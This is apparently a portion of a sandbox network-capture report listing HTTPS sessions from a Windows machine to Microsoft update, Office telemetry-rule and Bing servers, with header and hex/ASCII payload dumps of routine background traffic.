2024-11-27 10:14:30 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=masWAPUYS1lBOtl&MD=sb3UeoWw HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-27 10:14:30 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: 99bac575-9eac-4062-98b6-4ac6e8e8663d MS-RequestId: 0954a669-73b5-4072-99f2-2c8cc3d0cab9 MS-CV: xY117yrXN0OnwNvB.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Wed, 27 Nov 2024 10:14:29 GMT Connection: close Content-Length: 24490
2024-11-27 10:14:30 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-11-27 10:14:30 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.6	49775	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 10:14:30 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 10:14:30 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 10:14:30 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: b254496e-901e-0016-2991-3fefe9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T101430Z-174f7845968pf68xhC1EWRr4h80000000wzg0000000075gy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 10:14:30 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.6	49778	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 10:14:30 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 10:14:30 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 10:14:30 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: 6c824192-201e-0051-0a91-3f7340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T101430Z-174f78459688l8rvhC1EWRtzr00000000990000000009xcs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 10:14:30 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.6	49776	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 10:14:30 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 10:14:31 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 10:14:30 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: 89e88ad2-001e-0065-4491-3f0b73000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T101430Z-174f7845968cdxdrhC1EWRg0en0000000wr000000000751n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 10:14:31 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.6	49777	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 10:14:30 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 10:14:31 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 10:14:30 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: f440c5dc-801e-0047-7891-3f7265000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T101430Z-174f78459685m244hC1EWRgp2c0000000wpg000000003gbm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 10:14:31 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.6	49779	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 10:14:31 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 10:14:31 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 10:14:31 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: 2f4d5d7c-501e-005b-0244-40d7f7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T101431Z-174f7845968glpgnhC1EWR7uec0000000wyg000000004tym x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 10:14:31 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.6	49783	150.171.27.10	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 10:14:31 UTC	413	OUT	GET /neg/0?action=emptycreative&adUnitId=11730597&publisherId=251978541&rid=6b4959b1f9494f1c9ebec893425386ae&localId=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&deviceId=6966555320912735&anid=DA18C8825356BAC4E7B23066FFFFFFFF HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: g.bing.com Connection: Keep-Alive Cookie: MUID=2560C4E62DCB672207BDD1A22CE26611; MR=0
2024-11-27 10:14:32 UTC	765	IN	HTTP/1.1 204 No Content Cache-Control: no-cache, must-revalidate Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Set-Cookie: MSPTC=mr-A-UZGRUKPTZKrE48WKOqXUtmslCNcT-kMucGsW6E; domain=.bing.com; expires=Mon, 22-Dec-2025 10:14:32 GMT; path=/; Partitioned; secure; SameSite=None Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * X-Cache: CONFIG_NOCACHE Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: 8A52B1E703B54511881F85FDBCE5C953 Ref B: EWR311000104009 Ref C: 2024-11-27T10:14:32Z Date: Wed, 27 Nov 2024 10:14:32 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.6	49784	23.218.208.109	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 10:14:32 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-27 10:14:32 UTC	479	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Server: Kestrel ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-neu-z1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json X-OSID: 2 X-CID: 2 X-CCC: GB Cache-Control: public, max-age=144374 Date: Wed, 27 Nov 2024 10:14:32 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.6	49785	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 10:14:32 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 10:14:32 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 10:14:32 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: baa0830a-001e-0082-4291-3f5880000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T101432Z-174f7845968jrjrxhC1EWRmmrs0000000wyg00000000426n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 10:14:32 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.6	49788	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 10:14:32 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 10:14:33 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 10:14:32 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: d3507608-601e-003d-4b91-3f6f25000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T101432Z-174f7845968xr5c2hC1EWRd0hn0000000dn0000000005dbs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 10:14:33 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.6	49789	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 10:14:32 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 10:14:33 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 10:14:33 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: f58b0ab1-f01e-0000-6878-40193e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T101433Z-174f7845968px8v7hC1EWR08ng0000000x20000000004hnm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 10:14:33 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.6	49790	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 10:14:32 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 10:14:33 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 10:14:33 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: a89cb059-301e-003f-5da3-40266f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T101433Z-174f7845968px8v7hC1EWR08ng0000000wz0000000009ep4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 10:14:33 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.6	49794	150.171.27.10	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 10:14:33 UTC	346	OUT	GET /th?id=OADD2.10239340418552_1AAPCBWXWYRQF23F9&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: tse1.mm.bing.net Connection: Keep-Alive
